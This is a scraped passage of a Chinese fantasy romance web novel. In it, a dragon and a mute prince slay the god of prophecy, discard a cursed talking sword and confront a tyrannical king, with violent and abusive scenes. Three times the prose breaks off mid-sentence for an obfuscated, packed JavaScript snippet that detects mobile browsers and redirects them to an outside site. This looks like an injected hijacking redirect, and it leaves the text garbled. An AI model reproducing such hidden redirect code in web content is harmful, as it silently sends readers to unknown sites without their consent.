果然。她刚刚就发现了,正如镜中幻象对伊瑟恩失效,宝剑也不屑于蛊惑伊瑟恩。 前者是因为伊瑟恩失去了声音,沉默是他的护盾,后者则是因为伊瑟恩完全没有战斗能力。他更像海伦娜公主,柔弱、漂亮、无辜,剑不认为他是战士,直接把他忽略了。 伊瑟恩没有把剑交给露维亚,而是颤抖着,双手握剑,去幽灵般安静地走来,把剑刃横在预言之神高贵的脖子上。 “凡人!你可知你在做什么!” 伊瑟恩不答。 他心想,您也别怪我,在塔楼上,在希尔弗地狱一样的王宫,他祈祷了那么多次,无数个日日夜夜,向各路神明祈求怜悯,又有谁帮过他,又有谁帮过他被侮辱的妈妈。 万物有始有终,神明亦复如是。 露维亚笑了笑,露出尖牙。用尾巴缠住伊瑟恩的手,与他交握在一起,不直接接触宝剑,他们的力量却合而为一。 复仇之神一直没能出生,可是,那又如何。 不需要神祇的祝福,也能彼此相爱。不需要神祇的指引,也能杀死仇敌。 露维亚轻哂:“预言之神,不要闭上眼睛。” 祂的头颅骨碌碌地滚落,血腥味弥漫。伊瑟恩紧绷的神经一松,宝剑也跟着掉落。 宝剑在血泊中狂喜,它大笑着呼号:“太棒了!就是这样杀!就是这样杀!再来一次,我们去找下一个!” 在龙的质问与剑的尖叫中,预言之神的透明眼珠捕捉不到任何画面。命运的丝线骤然打结,无数可能□□错在一起,没有偶然,也没有必然,神的能力随生命一起消失,祂什么也看不见了。 亦或是,祂终于看见了。 祂看见了一个全然空白的崭新未来,一个不需要神明的世界。 “原来……是这样啊……露维亚……” 祂的光芒彻底熄灭。 露维亚重新化回人形,伸展自己因用力过猛,有些僵硬的肌肉。重要的是,她得检查一下自己被血染红的头发。 “脏死了,黏糊糊的。回去我得洗个澡。”露维亚嫌弃地说。 她本来在等待一种英雄气概席卷全身,然后,心里自动涌出什么谋略之类的。结果她只是有点累,又很轻松。 伊瑟恩指了指躺在地上的宝剑。 要带走它吗? 宝剑证明了自己的锋利,露维亚似乎也证明了自己可以做剑的主人,而不是剑的奴隶。只要在失控之前有人拉自己一把。 然而,露维亚有点犹豫,她不知道该不该用伊瑟恩当她的剑鞘。即便他愿意,他一定会点头,她却不想带他飞入危险的地方。 如果她给他的只是噩梦,噩梦?等等,现在是什么时候了?现在是深秋,夜晚来得太早。 25.第 25 章 白昼太短,露维亚的时间永远不够用。她决定先借伊瑟恩之手把剑带走,回去再慢慢研究。 神体的碎屑轻如粉尘,宛如菌类在释放斑斓迷幻的孢子雾。预言之神的尸体自行分解、化灭,战斗时喷涌出的血渍却没有消失。 可能这就是神明的生死之限,活着时留下的一切都鲜活,死去后白尸骨不存,随风飘散。 打开传送阵是最快的回家方式,然而空间魔法的痕迹过于明显。 “无论我在哪儿,天一黑,镜子就会把我召回去。”她为难地看向伊瑟恩,“我很怕飞到半途要把你撂下。” 伊瑟恩想了想,表示干脆让他留下来好了,他可以看管宝剑,再趁夜擦拭血迹,清理现场,做一点基础的善后。 “这……真的没问题么?”她瞪大眼睛。 同谋共犯的感觉让她的心脏砰砰猛跳。他竟能为自己做到这种程度……露维亚惊喜之余又有些说不出的滋味。 她知道相爱很好,相爱带来欢愉与安慰,她自然而然地喜欢他,不假思索地去爱他。 此刻,她开始思考这份爱到底意味着什么。爱是否太沉重,是否为凡人所不能负担?爱会把我们带到什么地方,结局是幸福,还是毁灭? 可是……龙为什么要想这些。 互相对视着,天色又暗了一分。连该死的诅咒都在支持他们放弃理性的计算,依靠内心的感情行事。她在他湛蓝如海的眼眸中一无所获,只看到自己的影子,仿佛交换了一部分灵魂。 “我早就知道,其实你胆大包天。” 而藏在她坚硬的鳞片下的只是一头在梦中悲哭的幼龙。她被看穿了,她被他怜惜着。区区人类而已,他怎么敢? 露维亚咬了咬嘴唇,低声问:“或者,你其实早就吓坏了,为了我才撑到现在?” 伊瑟恩让她别想太多。 说到底,人类伴侣能为一头龙做什么呢?除了亲密的快乐,除了沉默的陪伴,他能帮上忙的时候不多。 伊瑟恩指了指天空,指了指预言之神留在神殿中央的血,催促起来,告诉她时间有限,就听他的吧。 露维亚皱着眉头,气恼又好笑:“好啊!你指挥起我来了!” 龙女士惩罚性地咬他的脸颊,发现他皮肤白得像山尖上的雪。血腥味撞进鼻子里,这男人竟笑了笑。 太阳已经转到西方,天边的云霞把山顶的雪映照成淡淡的粉红色。暮色将近,神秘的寂静来到了她身边。 “天亮我就飞来接你。”她许诺。 伊瑟恩点头。 带着满身血污,露维亚振翅飞走,能飞多快就飞多快。当她看到第一颗暮星时,身体如一片被烈风掀卷的云,瞬间被诅咒的力量撕碎成絮状,紧接着,她被强行拖拽回镜子面前。 无月之夜,山雾腾起,寒意裹挟着松针与腐殖质的气息,悄然漫过脚踝。伊瑟恩打了个哆嗦。 在深山中孤身过夜,已经足够惊悚,空荡荡的神殿则更加诡异。说不害怕是假的,乐生恶死,畏暗趋光才是人类本能。 伊瑟恩深深吸气,把寒冷的空气吸进肺里,再缓慢地吐出,尽量沉着。他有与恐惧相处的经验,说起来是阿利斯塔的功劳,残暴的国王让他对血腥味见惯不怪,他可以一边发抖,一边把该做的事情做了。 先将大殿里的血仔细擦除,再拖动地毯,把地砖上的魔法阵,以及因战斗留下的凹痕盖住。 这下露维亚总该夸夸他吧……伊瑟恩的嘴角染噙着笑意,蜷缩在角落,慢慢合上眼皮。 翌日。 未曾想到,再睁开眼睛时,率先出现在伊瑟恩面前的不是露维亚,而是一队士兵。 士兵们脸上同样写满讶异。 神殿内枕剑而眠的青年,英俊得过分,青涩又单纯,却有种说不上来的野气,身上还粘着斑斑点点的血。看到那迷茫而美丽的蓝眼,士兵们简直怀疑他是传说中的精怪。 “肯定是希尔弗贵族,捆起来。” 眼光毒辣的老兵最先开口,“哪怕不是重要人物,挖不出情报,也能用他换笔赎金哩!” “他的剑也不错!” “傻瓜,现在是咱的剑了。” 伊瑟恩下意识伸手去摸那把邪门的宝剑。却被士兵蛮横地打断。 “省省吧,你想以一敌几?”士兵嘲笑他不自量力,宝剑也收敛锋芒,饮过神血之后,它只等着露维亚再来,对普通的战士完全没有兴趣。 就这样,他成了俘虏,剑则被一个小队长之类的家伙据为己有,成为他意外收获的战利品。 从这些士兵只言片语的交谈中,伊瑟恩猜测他们是一支佣兵小队,正为诺克雷的先遣军探路。 伊瑟恩稍微松了口气。 至少不是索鲁人。 他听埃里克森说,索鲁人生性残暴,野蛮至极,虐俘的传统由来已久。在北境的几方势力中,戴安女王的军队还算比较讲理,有严明的纪律。佣兵的素质低一些,但是很有原则:谋财保命为上,不浪费自己的力气。 他们踢伊瑟恩,象征性地揍了他几拳,把伊瑟恩的双臂绑在背后。然后就用一根长绳子牵着他下山,朝谷地走去,准备回去再盘问他。 伊瑟恩无比配合,只因有恃无恐。他不断看向天空,果然,露维亚在他们消失在密林之前赶到。 “又开始了,”她一边自言自语,一边用翅膀把押解伊瑟恩的士兵拍晕,“又到了战争时间。” 来时,她看到圣山两侧黑压压的军队,与一排排灰白色的营帐,活像大地长出来的疥疮。 她见过不少战争,素不相识的人从四面八方聚到一起,拔刀相向,惨烈时流血漂橹,这是人类诸多行为中她最不理解的一件。 一百四十年前,她还遇到过所谓的猎龙人。他们异想天开,试图把龙驯养成作战工具。多狂妄,他们甚至没闹清楚龙吃什么。 “只有人类会闹出这么大的动静,打仗的时候连空气都变得很臭。” 她一直在说龙语,伊瑟恩听不懂。 宝剑兀自开口回应:“别再理会这些人类了。孩子,带我飞上高天,孩子……” 神界在日月云天之上,仅凭一个白昼的时间绝对飞不上去。她杀了送上门的预言之神,下一步的行动还需等待。 露维亚翻了下眼珠,没好气地说:“别叫我孩子。” 一路上,宝剑都在和露维亚说话,它有时大喊大叫,嚷嚷着报仇、杀敌,言辞激烈。有时忧郁地低声絮语,如诉如泣,像在为什么变质的美好之物哀悼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15381662|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊瑟恩握剑的手被它吵得虎口发麻。 “总之!你一定要替神后杀了祂!杀了那个虚伪懦弱,无情无义,奸诈狠毒的神祇!” 露维亚咆哮:“你再这么烦我就把你扔了。” 宝剑终于安静。 抵达龙窟,露维亚收拢翅膀,把拿着剑的伊瑟恩放下来。她化为人形,无奈地叹气:“感觉被什么麻烦的东西缠上了。” 伊瑟恩知道她最怕聒噪。宝剑给她的信息量太大,不仅喋喋不休,情绪也大起大落,肯定十分折磨。 他把剑放在镜子后边,转过头和露维亚拥抱。在天空中飞行久了,他身上凉冰冰,借露维亚的火热的胸怀回温,同时安抚她的烦躁。 露维亚忍不住与他额头相抵,鼻梁轻轻地蹭动。 “说真的,我对神后和神王的故事没兴趣。”露维亚说,“祂们互相仇恨,又反复和好,还在一起生育后代,一个砍掉对方的头,一个吞吃了对方,完全搞不懂。” 伊瑟恩大概能懂。 在人类中很常见的怨偶罢了。 祂们是元初神力竭而亡之后最先诞生的两位神祇,神王执掌法度,维护秩序的均衡,神后灵感飞扬,丰富而混乱。本来就是截然相反的存在,偏偏凑在一起。互相陪伴着度过虚空般孤独的岁月。 神王与神后就像两颗不该交汇的天体,激烈地对撞,爆发出巨大的能量。在千万年之后,这股力量的影响还没有消失,仍在波及他人。 露维亚突然问,“伊瑟恩,你有讨厌我的时候么?” 他刚摇头,露维亚就提醒:“想好再说!” 于是,伊瑟恩认真地思索,良久,他取过黑板,捏着滑石笔写下: 露维亚说龙语的时候,我听不懂。不仅失去了声音,还失去了听力,我会觉得,也许你不愿意和我交流……但是,即使在这个时候,我也不讨厌你。 “为什么?” 伊瑟恩又写:你本来就是龙啊! 他恬静的笑容激起一股战栗,由露维亚的尾骨升起,沿着脊柱向上窜。她张了张嘴,没说出话来。 龙的发声方式太复杂,连“露维亚”这个名字,也只是简化后的拟音。露维亚想了想,拿起之前送他的琴,说:“我教你弹琴吧。第三种语言,我们都能使用,怎么样?” 伊瑟恩当然没意见。 他盘着腿,席地而坐,怀里抱着琴。露维亚则侧身坐在他身后,胸口贴着他的背,两只手包住他的双手,摆好姿势。 伊瑟恩努力专注,却心不在焉,比起弹琴,他更想扭过头去亲吻露维亚。 直到手指尖被硬韧的琴弦压出一道凹痕,轻微的痛感和随之而来的琴音让他心头一震。 “为了寻找黄金城……” 露维亚哪里会教弹琴?无非是凭借记忆力,把那天遇到的歌者的动作原封不动地还原出来。 但是好好听。 伊瑟恩为她的嗓音神魂颠倒。 宝剑突兀地插嘴:“哈!多么可笑的歌词啊!比黄金更贵的是真情?露维亚,这就是你不愿战斗的理由么?这就是困住你的东西么?听着,这世界上没有真情。” 露维亚一撇嘴,说:“我决定了,不用这把剑,伊瑟恩,把它扔到海里去。” 26.第 26 章 宝剑劝诫露维亚,别太天真,付出感情只会把自己变成可怜虫。 露维亚立刻问:“那你是不是可怜虫?” 宝剑说:“当然不!我和从前一样锋利。” 露维亚冷冷一笑:“哼哼。是啊,” 尽管宝剑疯狂地寻找主人的替代品,毫无顾忌地侵入别人的思维,引发种种悲剧,它依然不可怜。 可怜的是被剑刃切开的图尔。 她又问:“那你对神后的感情算什么,不是真的么?” 宝剑没有正面回答,而是换了口吻。不再急躁,不再冷嘲热讽,和初次登场时一样,饱含神圣的母性,声音空灵缥缈。 “孩子,你会伤心的。” 露维亚猛然间意识到,它在模仿自己曾经的主人。它无限悲哀地对露维亚说:“早晚会伤心的。以后,你就明白了。” 这话像关怀,也像恐吓,露维亚陷入短暂的沉默。 “除了杀死神王,神后还有什么愿望?” “别无他求。我们目标一致!杀了祂!杀!死!” 宝剑又嚷嚷起来,露维亚被它吵得耳鸣,她感觉有谁在用指甲挠自己的神经。她不得不咬紧发酸的后牙,不然一个松懈,神后的痛苦与宝剑的不甘就会联合起来,趁机攫住她。 “好。我会杀死神王。”露维亚有了结论,“但我还有其他想做的事。所以不能被你弄乱脑子。明白吗?” 她不想再听那哀怨里掺杂着狂怒,狂怒之后又撕心裂肺的讲述了。就算受到伤害,遭遇背叛,难道,她会被自己的感情毁灭?她不信。 露维亚无法从这样的故事获得力量。 更重要的是,根据大卫和欧仁妮的描述,图尔死的时候可能正在经历心灵过载,这把宝剑对龙的精神干扰太强。 理顺这些后,龙载着人类伴侣在海上低飞,伊瑟恩手一松,把剑丢进水里。 这里是风波之海,无限靠近世界的尽头,宝剑将在海底沉睡。或者,它会被水流推到风波海外寂静的虚空。那里有层层叠叠的死亡,以及死亡后的解脱,抵达万物的源头,也是最终的归处。 “白忙一场。”露维亚说。 伊瑟恩拍拍她的肩膀,觉得这不算损失。他全都看明白了,龙角锋利无比,并不比神后的宝剑差。而露维亚做出了正确的决断,头脑很清醒。 赤脚踩在柔软的金色细沙上,露维亚胡乱地跳舞,将宝剑的事抛到脑后。 她把琴交给了伊瑟恩。 短短的一会儿功夫,伊瑟恩怎么可能学会?他和所有新手一样,因害怕出错,显得笨拙。可露维亚身上理直气壮的态度感染了他,他渐渐地放开胆子。 在龙女士面前,怎么弹都行。指尖一动,就会发出声音,音符不断流出来,就会组成旋律。 “伊瑟恩,你很有天赋嘛。我还以为你只喜欢读书呢。” 伊瑟恩不确定那算不算是爱读书,因为很长时间里,没人和他进行真正的深入交谈。他只有这一种抵抗寂寞的方式。 “那你都读过什么?” 伊瑟恩答:有什么读什么。 意识到露维亚不满意他的含糊,他连忙拉过她的手,伸出食指,在她的手心里写了几个书名,都是他最爱的。 被这么一问才发现,他对那些充满宫廷阴谋、国家政治和战斗死亡的严肃长篇没兴趣,他只喜欢爱情和奇迹,诗歌、民间故事和童话。 “那我们去收集更多有意思的故事。伊瑟恩,等打破镜子,噩梦做完……很快了,不是么?你还有什么想做的事?” 伊瑟恩挥动双臂,比划了一个圆。 “这是什么意思呢?” 他写:月亮。 我们去看月亮。 露维亚愣了一下,这男人怎么回事?他好像天生就懂怎么让我高兴。真不敢想,这张嘴要是能出声,他会用怎样的甜言蜜语喂她。 “听着,伊瑟恩,我不会变成可怜虫。”她低声却很认真地说。 伊瑟恩心想,当然了。那把剑贬低真情,不过是想操纵露维亚。情感是心之所向,是自我的一部分,自我主张太强烈,肯定不好骗。 他笑着点头,表示完全赞同。 “你也不会。” 海风吹来,长而洁白的头发纱线一样飘动着,方领口的柔软长裙裹出腴美健康的身形,龙女士直勾勾地注视他。 伊瑟恩后知后觉地回过味,原来,这是句誓言。他的眼圈快速泛红,颤颤地流下一大颗泪。 “你又哭……” 她知道这也是没办法的事。除了短促的呼吸声,以及丰沛的泪腺,他还能怎么表达? 露维亚只好吻他。 在鳞片化形的皮肤上,伊瑟恩的手指慢慢滑动,给她讲故事。 很久很久以前,有位孤独的王子,爱上了一个女孩。女孩却消失无踪。 翻过这座山会找到她么?来到谷地会遇见她么?还是说,她的倩影藏在与之相对的另一座山尖? “王子殿下到底要去哪儿?”她迫不及待要知道下一个章节。 翻山越岭,王子迷失在丛林,一转弯,一片火红花海映入他的眼目,而爱人就在花海的尽头。他拨开花丛,花瓣上的露水打湿了他。 露维亚咯咯发笑,“人类的小把戏。” 他们竭尽全力地互相取悦,在世界尽头的海岛,或者其他风景优美的角落,以及龙窟冰冷的镜子前。用放肆的姿态欢爱,在快乐中忘记自己,又找到自己。 十个昼夜后,解开诅咒的日子终于来临。 伊瑟恩高高扬起露维亚递给他的骨锤,猛地砸向镜子。一声清脆的巨响之后,镜子整片掉下来,崩裂成尖利的碎片,宛如众神光芒熄灭的眼睛,散落在龙窟黑色的地面上。 露维亚呆在原地,不知道这算不算“枷锁尽落”。她紧抿着嘴,盯着碎片凝思,在碎片中看到了无数个自己。 自由了吗? 好像什么也没发生。 “今晚不会在做噩梦了。” 她本该欢呼,却莫名紧张起来。手心潮潮的,有一层薄汗,她抓着裙摆擦了擦。 注意到这个小动作,伊瑟恩碰了碰露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15403488|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 维亚的胳膊,比划出一串手势。 “你想出去?” 伊瑟恩点头,他故意不写字,让露维亚猜手语的含义,慢慢抓住她的注意力。 露维亚的金眸追着他的手看,瞳孔细细缩成一条线,如猫咪盯着鸟儿抖动的羽毛。 “飞行,房子……哦,很大的房子。”她忽然开始一场解谜游戏,语义逐一现形。 “宫殿!”全都答对了。 口不能言的王子殿下一路撒饵,诱使露维亚拼出了完整的句子:“你要我带你飞入王宫,一起偷……书?” “今天晚上去?”她有点兴奋,又隐隐担忧。 这是长期受困,被剥夺黑夜的后遗症。理性告诉她现在一天有二十四个钟头,晚上出门完全没问题,可她心里绷着一根弦。 她唯恐自己高兴得太早。又怀疑未知的黑夜是什么不可名状的怪物,会把她白天时的力量与魔法剥夺。 可奇怪,伊瑟恩满是期待地发出邀请,一双蓝眼睛明亮至极,宛如暴雨后被洗濯干净的天空。 他难得主动跟她要求什么。 “没问题,”她语调高昂,“你跟我说说,书都藏在哪儿?嗯,顺便解决阿利斯塔吧,找到他的复活法阵,怎么样?” 听到阿利斯塔的名字,伊瑟恩喉咙发干。到最后也没能回忆起妈妈叫什么名字,妈妈的家乡在哪里。 命运如一只看不见的手,肆意摧毁了他们母子的一切。不过,不能只想着逃。 可以直接去问阿利斯塔。 给他带去惩罚。 伊瑟恩决定坚强,像露维亚一样坚强。他努力笑了笑,牵动肌肉,提起嘴角,直到这个动作里真的带有笑意,积极的笑意。 露维亚说:“别害怕。” 他点头。 当夕阳只剩一条血痕似的影子,他们出发。穿过灰烬森林的浓雾后,天际逐渐浮出几点小星。 没过多久,巨大的夜覆盖下来,她被笼罩在奇异的黑暗中。熟悉的世界开始变得陌生,一股前所未有的轻盈感充斥全身,每一片鳞都在打颤。夜晚如此包容、慈悲,这感觉就像回到了蛋壳里……好安全。 露维亚大口大口地呼吸,即便夜晚的空气并不比白天更鲜甜。 她越飞越快。 抵达宫殿,降落在尚未修葺完成的废墟附近。露维亚有了经验,知道找不着阿利斯塔的话,杀一百个人也没用。 是以她格外有耐心,谨慎地潜行,同时用魔法制造一片遮挡他人视线的烟雾。 这时,有几个身着白裙的女人向主殿走去。伊瑟恩突然停下脚步。 “怎么?她们是谁?很能打么?”露维亚低声耳语。 伊瑟恩摇头。 她们是阿利斯塔蓄养在后宫的女奴……今晚,同时召这么多吗?他打了个寒噤。不知道怎么和露维亚解释好。 “哦,我明白了。” 露维亚一撇嘴,她在人间三百年,结合伊瑟恩诡异的表情,稍微想一下,就能猜到是怎么回事。 “跟上去。今夜之后,她们会自由。” 27.第 27 章 着白衣的女奴排成一线,鱼贯步入宫廷,她们是权力的一部分。 “阿利斯塔有多少女人?”露维亚问。 伊瑟恩答不上来。 希尔弗和几个邻近的国家一样,实行一夫一妻的婚姻制度,可有权有势的人永远不用遵守规则。 先王是传统的国王,他娶尊贵的、能带来实际利益的王后,豢养年轻美貌的情妇。三段婚姻给他带来六个合法的孩子。还有“国王之子”伊瑟恩。 阿利斯塔继承了父亲的功利与精明,在此基础上又叠加一层匪夷所思的恶。 阿利斯塔会给人恩宠,同游同寝,兴之所至,也会做出恋爱的样子,允许她直呼自己的名字。但在对方鼓起勇气,心中真的涌现爱意之后,他就会骤然冷淡。 面对女人心碎的眼泪,他不解:“你为什么会做这种梦呢?难道你配得上我吗?” 他把后宫的女人当成玻璃柜里的偶人,先弄乱她们,再按型号分类,摆回正确的位置。 久而久之,连最天真的少女也不再期待能得到国王的另眼相待,她们终于认清楚自己的身份。 这是一个死气沉沉的后宫,没有疯狂的竞争,没有嫉妒和陷害,只有单调的白色,还有压抑的哭声。 感到无聊的阿利斯塔变本加厉地折磨她们,摧残不了她们的精神,就会伤害她们的身体。 伊瑟恩一边抗拒接下来有可能会看到的场面,心里凄凄惶惶的。一边执着地跟着露维亚,和她携手迈步往前闯。 摇曳不定的烛火照在墙壁的浮雕上,光影乱颤,使画上的人物像在挣扎,而被细长帷帘遮住的窗子,正是精致的笼栅。 穿过长廊,她们抵达有着高挑拱顶的大殿,走进一扇红棕色的大门。 “伊瑟恩,坏消息。”她感官敏锐,动动鼻尖,闻到了熟悉的气息,“欧仁妮也在里面。” 伊瑟恩大惊失色,这实在有违常理。 他理解不了。 露维亚当然更理解不了。 龙是一对一结伴的长寿种族,简简单单。而人生短暂,被死亡焦虑和繁衍本能驱动,个体差异很大,社会风气也一时一个样子,人类很复杂。 阿利斯塔令她想起神王。 既然没有心甘情愿做神妻的,肯定也没有自愿做侍寝奴隶的。 她隐约觉出敌人早已结盟,无论神界、人间,都有强权暴政。祂们制造出一个地狱,然后自己也生活在其中,这到底有什么意思?她永远也想不通。 借着烟雾的遮挡,露维亚打开一道细细的门缝。 灯影中,阿利斯塔锋利的长相变得柔和,他曲着一条腿,慵懒随意。 “欧仁妮小姐,接下来,我会把宫廷交给你照管,希望我们之间不仅有婚约,还能成为亲密的朋友。” 欧仁妮尽量不去看那些女人,不去想她们是谁,为什么出现在这儿。一个错误的眼神,就会引来阿利斯塔的猜忌。 她坦荡直白,显得木愣愣的,只说屠龙的事:“陛下不必烦忧,放心出征就好。我向您许诺,在您离开期间,宫殿绝不会遭到任何破坏。而在您凯旋之时,我将向您献上恶龙的心脏,以此为贺。” “是埃里克森卿在为你寻找宝剑,对么?” 欧仁妮答:“是的。我独身来到这里,只能拜托他帮我做事。毕竟,他是陛下您指派给我的骑士。” 阿利斯塔露出玩味的笑容,“我正要送个女奴给你。” 欧仁妮问:“可她们不是战士,能做什么呢?” 阿利斯塔扬了扬下巴,手指向她们中的一个。女奴立刻走近,跪在阿利斯塔的身前。他抽出了一把银亮的匕首,用刀尖在女奴的胸前缓慢地滑动,挑开她最表层的衣服。 冰凉的金属让女奴无意识地哆嗦了一下,白皙的皮肤上立刻冒出鲜红的血,像珊瑚珠。 欧仁妮一阵窒息。 她见过很多血,可这不是战斗。持刀者拥有绝对力量,他可以屠宰,也可以恶意满满地把玩。女奴不敢违抗,也无法逃离。 “她可以代替你做名门淑女不擅长的事情。”阿利斯塔意味深长地说。 受辱的神色一点点爬上欧仁妮的脸。 她的大脑嗡鸣着,试着说服自己继续演下去,做出困惑的样子,装傻,假装没听懂。 或者感谢国王陛下?感谢他善解人意,给自己准备了这样的女奴,可以帮一个呆板、不解风情的女人服侍她的丈夫。 意识到自己并不具备忍耐的美德时,欧仁妮已经冲动地站了起来。 下一秒,理智回归了些许,她低下头,恭敬地请求:“陛下,谢谢您的恩赐。我一直没有称心的侍女呢,我这就把她带回去。” 阿利斯塔收起武器,哈哈大笑。 “你果然很特别,欧仁妮小姐。原谅我,我不该这样考验你。” “我不明白,陛下在考验我什么呢?” “性格,你的性格和埃里克森卿很像。” 他反复提到埃里克森,如啄木鸟在敲打树干,寻找薄弱之处。 “我不了解这位骑士,但我相信陛下的判断。”欧仁妮谨慎地回答。 “别紧张。”他安抚地说道,“我身边围绕着很多蠢货,而你们忠勇诚实。我很喜欢。” 他几乎永生不死,短时间内,根本不需要后代,更别说一个管束他的王后。欧仁妮沉不住气又心软,刚刚好。 隔着门,伊瑟恩在应激般发抖。 对门内刚刚发生的一切,他都太熟悉了。阿利斯塔欣赏别人的恐惧,拿欧仁妮在乎的事取乐,强迫她观看同类受苦…… 他捏紧拳头,指甲无意识地嵌进手心,比疼痛更加清晰的感觉是恨,是对彼时无能的愤怒。 露维亚没有安慰惊恐发作的爱人,而是“嘭”地一声踢开门,大喇喇地迈步进去,华丽的屋子里突然撞进一股狂暴的风。 在众人惊异的目光中,露维亚散去藏身的烟雾,逐渐显出高大的身材与独特的面容。 她本以为女奴们会尖叫四散,而阿利斯塔将起身迎战。结果她们只是抖了抖嘴唇。仿佛没有阿利斯塔的允许,连出声都不敢。 场面变成了露维亚对着一群羔羊似的女人怒目圆瞪,阿利斯塔被她们围在中间。空气死一样寂静,露维亚怒火中烧,敌人气定神闲。 好讨厌的感觉。 阿利斯塔认出了她的竖瞳,“原来是你啊。” 他先对露维亚说:“看来你是真的挺喜欢我弟弟。”然后,他又向伊瑟恩伸出手,掌心朝上,逗弄宠物似的,勾了勾戴着沉重宝石戒指的手指。 “过来。伊瑟恩,让我看看你。难道你一点都不想念我么?” 伊瑟恩脚底蹭着地毯,没有挪动。他打定主意不露怯,气势太弱会给龙女士丢脸。连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15422463|166567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神明的头都被露维亚砍下来了,干嘛要怕他? 他抬起头,静静地盯着他。 阿利斯塔恍惚了一瞬,“你们真的很像……也对,若不是跟你母亲一样美丽又下贱,你又怎么能得到一头母龙的欢心,活到今天呢?” “吵死了。” 露维亚受够了打架之前的东拉西扯。阿利斯塔阴恻恻的语调与不怀好意的笑容永久进入了龙的记忆,白白占据她的脑子。 她轻而易举地制服了这不死的神眷者,用魔法制造一道绞索,像他当初掐伊瑟恩那样扼住阿利斯塔的咽喉,不断收紧。 周围的女奴终于开始慌乱。 她们不管露维亚是龙还是什么其他怪物,只知道她会魔法,或者邪术,让不可一世的国王落了下风! 心理防线在崩塌,常识在崩塌。她们有的哭了,有的踉跄着跑开,躲得远远的,有的看向欧仁妮小姐——未来的王后。 而欧仁妮只是观察着露维亚与阿利斯塔的对峙,没有轻举妄动。 她只有一次机会。 一切都要建立在能让阿利斯塔死透的前提下,不然,欧仁妮就和她想要的东西永远无缘。 露维亚也在想同样的问题。 如果阿利斯塔的复活只是自愈能力就好了,她有的是办法让他求生不能,求死不得。 比如,可以把他扔进冰晶海,让冰冷刺骨的海水一次次灌进他的肺腑,循环往复。 比如,可以把他挂到大陆最东边的巨杉上,树枝会缓慢地刺穿他的身体,雷电则会把他劈成焦炭,风一吹不断掉渣。 偏偏是灵肉分离的聚合魔法。 心灵寄存在别处,血肉是可重生的耗材。那个法阵到底被藏在哪儿了…… 她把阿利斯塔松开,留这具身体一口气。然后,她活动了一下腕部的关节,龇着小而白的尖牙,轻蔑地说:“我改变主意了。收拾你用不着魔法,我允许你用剑和拳头。” 阿利斯塔亦有恃无恐:“那就来吧。” 这时,欧仁妮挺身而出,毫无预感地挡在了阿利斯塔身前,“陛下!我来对付这头龙,您快离开这儿!” 欧仁妮信守承诺,勇敢又忠心,却让阿利斯塔感到微妙的不舒服,心里刺刺麻麻。很久没有人这么吆喝着跟他说话了。 上一次面对强敌,是谁把自己挡在身后?不是他高贵却冷漠的母亲,也不是那些为了职责来守护他的卫兵,也不是一心想讨好他,狡猾的、卑劣的侏儒弄臣,他死去的蠢朋友。 而是他同父异母的姐姐,玛格丽特公主。 露维亚眯了眯眼。 又到了人类的表演时间吗? 她不知道他们各自在打什么主意,欧仁妮也没提前跟她商量,接下来要即兴发挥。龙女士灵机一动,握手成拳,越过欧仁妮,在阿利斯塔的肩头掏出一个血洞。下一击,她才狠狠打在欧仁妮身上。 “陛下,快跑!为了希尔弗……” 阿利斯塔咬了咬牙,扫视战局,不认为欧仁妮有任何胜算。他把自己的佩刀扔给她,深深看了她一眼,转身朝房间另一侧的门逃去。 这样的伤口几乎瞬间愈合,但是,既然有人把他当成更重要的人,他不会辜负这番美意。 熟悉的血色之夜,又一个让自己先走的女人,“欧仁妮……” 回眸时,他的眼珠颤动,凝着比黑夜更幽深的东西。 28.第 28 章 阿利斯塔自认为心安理得。可是,当他离开欧仁妮后,玛格丽特公主的面容突然浮现在他的脑海:“阿利,逃吧。长大后再换你保护我。” 很多年前他在行宫遭遇过一次刺杀。因为守卫的疏忽,刺客直接冲到了阿利斯塔的面前,刀尖指着他的鼻子。 死亡的威胁那样迫近,而他十分弱小,没有还手之力。是玛格丽特公主抢先一步抓起铜烛台,独自面对人高马大的蒙面刺客。她也只有十五岁,却像一头愤怒的雌兽般,把同父异母的弟弟挡在身后。 “阿利,你快跑啊!”她的呼喊声犹在回荡,和欧仁妮的声音混叠在一起。 他努力甩开这个念头。 最讨厌玛格丽特了,在无爱的宫廷里佯装温情,非要做出好姐姐的样子。 后来杀她的时候阿利斯塔很想笑,嘲笑她自以为是的善良。可对上她平静的眼睛时,却怎么也笑不出来。 